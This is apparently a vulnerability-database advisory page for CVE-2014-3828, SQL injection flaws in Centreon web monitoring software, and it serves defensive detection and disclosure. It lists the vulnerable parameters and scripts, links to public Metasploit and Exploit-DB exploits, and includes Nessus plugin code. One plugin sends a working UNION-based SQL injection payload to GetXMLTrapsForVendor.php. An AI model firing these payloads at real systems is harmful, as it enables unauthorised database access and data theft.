Vulnerabilities > CVE-2014-3828 - SQL Injection vulnerability in Merethis Centreon and Centreon Enterprise Server
Summary
Multiple SQL injection vulnerabilities in Centreon 2.5.1 and Centreon Enterprise Server 2.2 (fixed in Centreon web 2.5.3) allow remote attackers to execute arbitrary SQL commands via (1) the index_id parameter to views/graphs/common/makeXML_ListMetrics.php, (2) the sid parameter to views/graphs/GetXmlTree.php, (3) the session_id parameter to views/graphs/graphStatus/displayServiceStatus.php, (4) the mnftr_id parameter to configuration/configObject/traps/GetXMLTrapsForVendor.php, or (5) the index parameter to common/javascript/commandGetArgs/cmdGetExample.php in include/.
Vulnerable Configurations
Part | Description | Count |
---|---|---|
Application | 2 |
Common Weakness Enumeration (CWE)
Common Attack Pattern Enumeration and Classification (CAPEC)
- Command Line Execution through SQL Injection An attacker uses standard SQL injection methods to inject data into the command line for execution. This could be done directly through misuse of directives such as MSSQL_xp_cmdshell or indirectly through injection of data into the database that would be interpreted as shell commands. Sometime later, an unscrupulous backend application (or could be part of the functionality of the same application) fetches the injected data stored in the database and uses this data as command line arguments without performing proper validation. The malicious data escapes that data plane by spawning new commands to be executed on the host.
- Object Relational Mapping Injection An attacker leverages a weakness present in the database access layer code generated with an Object Relational Mapping (ORM) tool or a weakness in the way that a developer used a persistence framework to inject his or her own SQL commands to be executed against the underlying database. The attack here is similar to plain SQL injection, except that the application does not use JDBC to directly talk to the database, but instead it uses a data access layer generated by an ORM tool or framework (e.g. Hibernate). While most of the time code generated by an ORM tool contains safe access methods that are immune to SQL injection, sometimes either due to some weakness in the generated code or due to the fact that the developer failed to use the generated access methods properly, SQL injection is still possible.
- SQL Injection through SOAP Parameter Tampering An attacker modifies the parameters of the SOAP message that is sent from the service consumer to the service provider to initiate a SQL injection attack. On the service provider side, the SOAP message is parsed and parameters are not properly validated before being used to access a database in a way that does not use parameter binding, thus enabling the attacker to control the structure of the executed SQL query. This pattern describes a SQL injection attack with the delivery mechanism being a SOAP message.
- Expanding Control over the Operating System from the Database An attacker is able to leverage access gained to the database to read / write data to the file system, compromise the operating system, create a tunnel for accessing the host machine, and use this access to potentially attack other machines on the same network as the database machine. Traditionally SQL injections attacks are viewed as a way to gain unauthorized read access to the data stored in the database, modify the data in the database, delete the data, etc. However, almost every data base management system (DBMS) system includes facilities that if compromised allow an attacker complete access to the file system, operating system, and full access to the host running the database. The attacker can then use this privileged access to launch subsequent attacks. These facilities include dropping into a command shell, creating user defined functions that can call system level libraries present on the host machine, stored procedures, etc.
- SQL Injection This attack exploits target software that constructs SQL statements based on user input. An attacker crafts input strings so that when the target software constructs SQL statements based on the input, the resulting SQL statement performs actions other than those the application intended. SQL Injection results from failure of the application to appropriately validate input. When specially crafted user-controlled input consisting of SQL syntax is used without proper validation as part of SQL queries, it is possible to glean information from the database in ways not envisaged during application design. Depending upon the database and the design of the application, it may also be possible to leverage injection to have the database execute system-related commands of the attackers' choice. SQL Injection enables an attacker to talk directly to the database, thus bypassing the application completely. Successful injection can cause information disclosure as well as ability to add or modify data in the database. In order to successfully inject SQL and retrieve information from a database, an attacker:
Exploit-Db
id EDB-ID:41676 last seen 2018-11-30 modified 2014-10-15 published 2014-10-15 reporter Exploit-DB source https://www.exploit-db.com/download/41676 title Centreon < 2.5.1 / Centreon Enterprise Server < 2.2 - SQL Injection / Command Injection (Metasploit) description Centreon SQL and Command Injection. CVE-2014-3828. Remote exploit for unix platform id EDB-ID:35078 last seen 2016-02-04 modified 2014-10-27 published 2014-10-27 reporter metasploit source https://www.exploit-db.com/download/35078/ title Centreon SQL and Command Injection
Metasploit
description | This module exploits several vulnerabilities on Centreon 2.5.1 and prior and Centreon Enterprise Server 2.2 and prior. Due to a combination of SQL injection and command injection in the displayServiceStatus.php component, it is possible to execute arbitrary commands as long as there is a valid session registered in the centreon.session table. In order to have a valid session, all it takes is a successful login from anybody. The exploit itself does not require any authentication. This module has been tested successfully on Centreon Enterprise Server 2.2. |
id | MSF:EXPLOIT/LINUX/HTTP/CENTREON_SQLI_EXEC |
last seen | 2020-06-05 |
modified | 2018-09-15 |
published | 2014-10-07 |
references | |
reporter | Rapid7 |
source | https://github.com/rapid7/metasploit-framework/blob/master//modules/exploits/linux/http/centreon_sqli_exec.rb |
title | Centreon SQL and Command Injection |
Nessus
NASL family CGI abuses NASL id CENTREON_253.NASL description According to its version number, the Centreon application hosted on the remote web server is affected by multiple vulnerabilities : - Multiple unauthenticated SQL injection vulnerabilities. (CVE-2014-3828) - A remote, unauthenticated command injection vulnerability in the last seen 2020-06-01 modified 2020-06-02 plugin id 80224 published 2014-12-23 reporter This script is Copyright (C) 2014-2019 and is owned by Tenable, Inc. or an Affiliate thereof. source https://www.tenable.com/plugins/nessus/80224 title Centreon < 2.5.3 Multiple Vulnerabilities code # # (C) Tenable Network Security, Inc. # include("compat.inc"); if (description) { script_id(80224); script_version("1.10"); script_cvs_date("Date: 2019/11/25"); script_cve_id("CVE-2014-3828", "CVE-2014-3829"); script_bugtraq_id(70648, 70649); script_xref(name:"EDB-ID", value:"35078"); script_xref(name:"CERT", value:"298796"); script_name(english:"Centreon < 2.5.3 Multiple Vulnerabilities"); script_summary(english:"Checks the version of Centreon."); script_set_attribute(attribute:"synopsis", value: "The remote web server contains a PHP application that is affected by multiple vulnerabilities."); script_set_attribute(attribute:"description", value: "According to its version number, the Centreon application hosted on the remote web server is affected by multiple vulnerabilities : - Multiple unauthenticated SQL injection vulnerabilities. (CVE-2014-3828) - A remote, unauthenticated command injection vulnerability in the 'session_id' and 'template_id' parameters of the 'displayServiceStatus.php' script. (CVE-2014-3829) Note that Nessus has not tested for these issues but has instead relied only on the application's self-reported version number."); # https://web.archive.org/web/20150215005901/https://documentation.centreon.com/docs/centreon/en/2.5.x/release_notes/centreon-2.5.3.html script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?716aff57"); script_set_attribute(attribute:"see_also", value:"https://seclists.org/fulldisclosure/2014/Oct/78"); script_set_attribute(attribute:"solution", value: "Upgrade to Centreon 2.5.3 or later."); script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C"); script_set_cvss_temporal_vector("CVSS2#E:F/RL:OF/RC:ND"); script_set_attribute(attribute:"cvss_score_source", value:"CVE-2014-3829"); script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available"); script_set_attribute(attribute:"exploit_available", value:"true"); script_set_attribute(attribute:"metasploit_name", value:'Centreon SQL and Command Injection'); script_set_attribute(attribute:"exploit_framework_metasploit", value:"true"); script_set_attribute(attribute:"vuln_publication_date", value:"2014/10/15"); script_set_attribute(attribute:"patch_publication_date", value:"2014/10/15"); script_set_attribute(attribute:"plugin_publication_date", value:"2014/12/23"); script_set_attribute(attribute:"potential_vulnerability", value:"true"); script_set_attribute(attribute:"plugin_type", value:"remote"); script_set_attribute(attribute:"cpe", value:"cpe:/a:centreon:centreon"); script_set_attribute(attribute:"cpe", value:"cpe:/a:merethis:centreon"); script_end_attributes(); script_category(ACT_GATHER_INFO); script_family(english:"CGI abuses"); script_copyright(english:"This script is Copyright (C) 2014-2019 and is owned by Tenable, Inc. or an Affiliate thereof."); script_dependencies("centreon_detect.nbin"); script_require_keys("www/PHP", "installed_sw/Centreon", "Settings/ParanoidReport"); script_require_ports("Services/www", 80); exit(0); } include("audit.inc"); include("global_settings.inc"); include("misc_func.inc"); include("http.inc"); include("install_func.inc"); app = "Centreon"; get_install_count(app_name:app, exit_if_zero:TRUE); port = get_http_port(default:80, php:TRUE); install = get_single_install( app_name : app, port : port, exit_if_unknown_ver : TRUE ); dir = install['path']; version = install['version']; install_url = build_url(port:port, qs:dir); if (report_paranoia < 2) audit(AUDIT_PARANOID); ver = split(version, sep:".", keep:FALSE); for (i=0; i<max_index(ver); i++) ver[i] = int(ver[i]); if ( (ver[0] == 2 && ver[1] < 5) || (ver[0] == 2 && ver[1] == 5 && ver[2] < 3) ) { set_kb_item(name:'www/'+port+'/SQLInjection', value:TRUE); if (report_verbosity > 0) { report = '\n URL : ' +install_url+ '\n Installed version : ' +version+ '\n Fixed version : 2.5.3\n'; security_hole(port:port, extra:report); } else security_hole(port); } else audit(AUDIT_WEB_APP_NOT_AFFECTED, app, install_url, version);
NASL family CGI abuses NASL id CENTREON_MNFTR_ID_SQLI.NASL description The Centreon application installed on the remove host is affected by a SQL injection vulnerability because the application fails to properly sanitize user-supplied input to the last seen 2020-06-01 modified 2020-06-02 plugin id 80226 published 2014-12-23 reporter This script is Copyright (C) 2014-2019 and is owned by Tenable, Inc. or an Affiliate thereof. source https://www.tenable.com/plugins/nessus/80226 title Centreon GetXMLTrapsForVendor.php 'mnftr_id' Parameter SQLi code # # (C) Tenable Network Security, Inc. # include("compat.inc"); if (description) { script_id(80226); script_version("1.8"); script_cvs_date("Date: 2019/11/25"); script_cve_id("CVE-2014-3828"); script_bugtraq_id(70648); script_xref(name:"CERT", value:"298796"); script_name(english:"Centreon GetXMLTrapsForVendor.php 'mnftr_id' Parameter SQLi"); script_summary(english:"Attempts to exploit a SQLi flaw."); script_set_attribute(attribute:"synopsis", value: "The remote web server contains a PHP application that is affected by a SQL injection vulnerability."); script_set_attribute(attribute:"description", value: "The Centreon application installed on the remove host is affected by a SQL injection vulnerability because the application fails to properly sanitize user-supplied input to the 'mnftr_id' parameter of the 'GetXMLTrapsForVendor.php' script. A remote, unauthenticated attacker can exploit this issue to execute arbitrary SQL statements against the back-end database, leading to the execution of arbitrary code, manipulation of data, or the disclosure of arbitrary data. Note that the application is also reportedly affected by additional SQL injection vulnerabilities as well as a remote command injection vulnerability, however Nessus has not tested for these issues."); script_set_attribute(attribute:"see_also", value:"https://seclists.org/fulldisclosure/2014/Oct/78"); script_set_attribute(attribute:"see_also", value:"https://github.com/centreon/"); script_set_attribute(attribute:"solution", value: "Upgrade to Centreon 2.5.3 or later."); script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C"); script_set_cvss_temporal_vector("CVSS2#E:F/RL:OF/RC:ND"); script_set_attribute(attribute:"cvss_score_source", value:"CVE-2014-3828"); script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available"); script_set_attribute(attribute:"exploit_available", value:"true"); script_set_attribute(attribute:"metasploit_name", value:'Centreon SQL and Command Injection'); script_set_attribute(attribute:"exploit_framework_metasploit", value:"true"); script_set_attribute(attribute:"vuln_publication_date", value:"2014/10/15"); script_set_attribute(attribute:"patch_publication_date", value:"2014/10/15"); script_set_attribute(attribute:"plugin_publication_date", value:"2014/12/23"); script_set_attribute(attribute:"plugin_type", value:"remote"); script_set_attribute(attribute:"cpe", value:"cpe:/a:centreon:centreon"); script_set_attribute(attribute:"cpe", value:"cpe:/a:merethis:centreon"); script_end_attributes(); script_category(ACT_ATTACK); script_family(english:"CGI abuses"); script_copyright(english:"This script is Copyright (C) 2014-2019 and is owned by Tenable, Inc. or an Affiliate thereof."); script_dependencies("centreon_detect.nbin"); script_require_keys("www/PHP", "installed_sw/Centreon"); script_require_ports("Services/www", 80); exit(0); } include("audit.inc"); include("global_settings.inc"); include("misc_func.inc"); include("http.inc"); include("install_func.inc"); app = "Centreon"; get_install_count(app_name:app, exit_if_zero:TRUE); port = get_http_port(default:80, php:TRUE); install = get_single_install( app_name : app, port : port ); dir = install['path']; install_url = build_url(port:port, qs:dir); data = SCRIPT_NAME - ".nasl" + " " + "MySQL Version : "; postdata = 'mnftr_id=1 or 1=1 union all select concat(0x' + hexstr(data) + ', version()),2 -- /**'; res = http_send_recv3( method : "POST", port : port, item : dir + "/include/configuration/configObject/traps/GetXMLTrapsForVendor.php", data : postdata, add_headers : make_array("Content-Type","application/x-www-form-urlencoded"), exit_on_fail : TRUE ); pat = data + '[^\\]]+'; if (ereg(pattern:pat, string:res[2], multiline:TRUE)) { output = extract_pattern_from_resp( string : res[2], pattern : 'RE:'+pat ); security_report_v4( port : port, severity : SECURITY_HOLE, generic : TRUE, sqli : TRUE, # Sets SQLInjection KB key line_limit : 3, request : make_list(http_last_sent_request()), output : chomp(output) ); } else audit(AUDIT_WEB_APP_NOT_AFFECTED, app, install_url);
Packetstorm
data source https://packetstormsecurity.com/files/download/128740/centreon-sqlexec.txt id PACKETSTORM:128740 last seen 2016-12-05 published 2014-10-18 reporter MaZ source https://packetstormsecurity.com/files/128740/Centreon-SQL-Injection-Command-Injection.html title Centreon SQL Injection / Command Injection data source https://packetstormsecurity.com/files/download/128825/centreon_sqli_exec.rb.txt id PACKETSTORM:128825 last seen 2016-12-05 published 2014-10-23 reporter juan vazquez source https://packetstormsecurity.com/files/128825/Centreon-SQL-Command-Injection.html title Centreon SQL / Command Injection
References
- http://seclists.org/fulldisclosure/2014/Oct/78
- http://www.kb.cert.org/vuls/id/298796
- http://www.securityfocus.com/bid/70648
- https://documentation.centreon.com/docs/centreon/en/latest/release_notes/centreon-2.5/centreon-2.5.3.html
- https://github.com/centreon/centreon/commit/cc2109804dd69057cb209037113796ec5ffdce90#diff-e328097503b14fbb117e0db798aefcde